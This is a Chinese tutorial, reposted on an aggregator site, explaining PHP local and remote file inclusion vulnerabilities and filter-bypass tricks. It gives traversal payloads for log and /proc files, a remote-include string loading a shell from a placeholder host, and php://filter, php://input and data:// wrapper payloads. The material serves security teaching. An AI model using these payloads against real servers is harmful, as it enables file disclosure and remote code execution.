文件包含漏洞讲解

这篇具有很好参考价值的文章主要介绍了文件包含漏洞讲解。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

文件包含即程序通过包含函数调用本地或远程文件,以此来实现拓展功能。

基础编辑

本地文件包含

常见的文件包含漏洞的形式为 <?php include("inc/" . $_GET['file']); ?> 考虑常用的几种包含方式为

  • 同目录包含file=.htaccess
  • 目录遍历?file=…/…/…/…/…/…/…/…/…/var/lib/locate.db
  • 日志注入?file=…/…/…/…/…/…/…/…/…/var/log/apache/error.log
  • 利用/proc/self/environ

其中日志可以使用SSH日志或者Web日志等多种日志来源测试

远程文件包含

  • 利用条件
  • ini中allow_url_fopen=On(默认开启)和allow_url_include=On(默认关闭,需要打开)开启
  • 用户参数可控
  • 后台对文件包含没有过滤
  • 利用方式
  • ?filename=http://xx.xx.xx.xx/shell.php
  • ?filename=http://xx.xx.xx.xx/shell.php?code=phpinfo();

触发Sink编辑

如 PHP中:

include

在包含过程中出错会报错,不影响执行后续语句

include_once

仅包含一次

require

在包含过程中出错,就会直接退出,不执行后续语句

require_once

绕过技巧编辑

常见的应用在文件包含之前,可能会调用函数对其进行判断,一般有如下几种绕过方式

url编码绕过

如果WAF中是字符串匹配,可以使用url多次编码的方式可以绕过

特殊字符绕过

  • 某些情况下,读文件支持使用Shell通配符,如 ?* 等
  • url中 使用 ?# 可能会影响include包含的结果
  • 某些情况下,unicode编码不同但是字形相近的字符有同一个效果

%00截断

几乎是最常用的方法,条件是 magic_quotes_gpc 关闭,而且php版本小于5.3.4。

长度截断

Windows上的文件名长度和文件路径有关。具体关系为:从根目录计算,文件路径长度最长为259个bytes。 msdn定义 #define MAX_PATH 260,其中第260个字符为字符串结尾的 \0 ,而linux可以用getconf来判断文件名长度限制和文件路径长度限制。 获取最长文件路径长度:getconf PATH_MAX /root 得到4096 获取最长文件名:getconf NAME_MAX /root 得到255 那么在长度有限的时候,././././ (n个) 的形式就可以通过这个把路径爆掉 在php代码包含中,这种绕过方式要求php版本 < php 5.2.8

伪协议绕过

  • 远程包含: 要求 allow_url_fopen=On且 allow_url_include=On , payload为 ?file=[http|https|ftp]😕/websec.wordpress.com/shell.txt 的形式
  • PHP input: 把payload放在POST参数中作为包含的文件,要求 allow_url_include=On,payload为 ?file=php://input 的形式
  • Base64: 使用Base64伪协议读取文件,payload为 ?file=php://filter/convert.base64-encode/resource=index.php的形式
  • data: 使用data伪协议读取文件,payload为 ?file=data://text/plain;base64,SSBsb3ZlIFBIUAo=的形式,要求 allow_url_include=On

协议绕过

allow_url_fopen 和 allow_url_include 主要是针对 http ftp 两种协议起作用,因此可以使用SMB、WebDav协议等方式来绕过限制。文章来源地址https://www.toymoban.com/news/detail-807946.html

到了这里,关于文件包含漏洞讲解的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • hvv 文件上传和文件包含考点

    数据包分析 观察客户端请求数据:是否包含webshell流量特征 观察服务器返回信息:是否有“上传成功”或“success upload”等信息提示 尝试寻找上传的文件:访问上传的文件看是否存在;查看文件上传的目录,去目录下查找文件是否存在; 通过分析平台日志查看:如果存在文

    2024年02月11日
    浏览(47)
  • 文件包含介绍

    本地文件包含 常见的文件包含漏洞的形式为 ?php include(\\\"inc/\\\" . $_GET[\\\'file\\\']); ? 考虑常用的几种包含方式为 同目录包含file=.htaccess 目录遍历?file=…/…/…/…/…/…/…/…/…/var/lib/locate.db 日志注入?file=…/…/…/…/…/…/…/…/…/var/log/apache/error.log 利用/proc/self/environ 其中日志可以使

    2024年01月17日
    浏览(44)
  • DevExpress历史安装文件包集合

    Components - DevExpress.NET组件安装包 此安装程序包括所有 .NET Framework、.NET Core 3 和 .NET 5、ASP.NET Core 和 HTML/JavaScript 组件和库(Web和桌面应用程序开发只需要安装此文件即可)。 注意:自DevExpress21.1版本之后,该安装文件更名为: Unified Component Installer (统一组件安装包),此安装

    2024年01月21日
    浏览(45)
  • CentOS:nohup后台运行jar文件包程序

    1、java -jar XXX.jar 特点:当前ssh窗口被锁定,可按CTRL + C打断程序运行,或直接关闭窗口,程序退出 那如何让窗口不锁定? 2、java -jar XXX.jar  代表在后台运行。 特定:当前ssh窗口不被锁定,但是当窗口关闭时,程序中止运行。 继续改进,如何让窗口关闭时,程序仍然运行

    2024年01月25日
    浏览(49)
  • B-6 Web应用程序文件包含

    1.通过扫描

    2024年02月08日
    浏览(42)
  • 出差学知识No3:ubuntu查询文件大小|文件包大小|磁盘占用情况等

    使用指令: ls -lh 文件 指令: du -sh* 打开终端,并执行以下命令: df -h 。该命令将显示文件系统的使用情况,包括每个挂载点的总大小、已用空间、可用空间以及使用百分比。 开终端,并执行以下命令: du -h目录路径 。将目录路径替换为你要检查的目录的路径。该命令将显

    2024年02月04日
    浏览(56)
  • 使用composer构建软件包时文件(夹)权限设置

    在构建软件包的时候你可能会需要对包源内文件或文件夹的权限做出相应的调整,以确保软件包在部署到客户端后可以正常运行。在此之前我们先来了解一下Apple文件系统内文件或文件夹的权限设定。   常见的文件或文件夹会有Owner, Group, Everyone这三种类型的所有权: ·Owner—

    2024年01月16日
    浏览(53)
  • OSCP-Slort(远程文件包含、windows定时任务提权)

    端口8080和4443都包含相同的Web目录,重定向到XAMPP的/dashboard/目录。

    2023年04月26日
    浏览(41)
  • 【Vue】vue2使用pdfjs预览pdf文件,在线预览方式一,pdfjs文件包打开新窗口预览pdf文件

    【Vue】vue2预览显示quill富文本内容,vue-quill-editor回显页面,v-html回显富文本内容 【Vue】vue2项目使用swiper轮播图2023年8月21日实战保姆级教程 【Vue】vue2使用pdfjs预览pdf文件,在线预览方式一,pdfjs文件包打开新窗口预览pdf文件 提示:这里可以添加本文要记录的大概内容: vue

    2024年02月07日
    浏览(50)
  • pycharm离线安装第三方库;python本地安装软件包(whl文件和tar文件)

    以从清华源下载一个numpy-1.21.6-cp37-cp37m-win_amd64.whl文件为例。 在浏览器输入格式为:https://pypi.tuna.tsinghua.edu.cn/simple/要下载的第三方库名/,我这里输入的是https://pypi.tuna.tsinghua.edu.cn/simple/numpy/ 我图上圈的,1.21.6表示numpy版本,cp37表示对应python版本为3.7,win_amd64表示适合64位机器

    2024年02月06日
    浏览(55)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包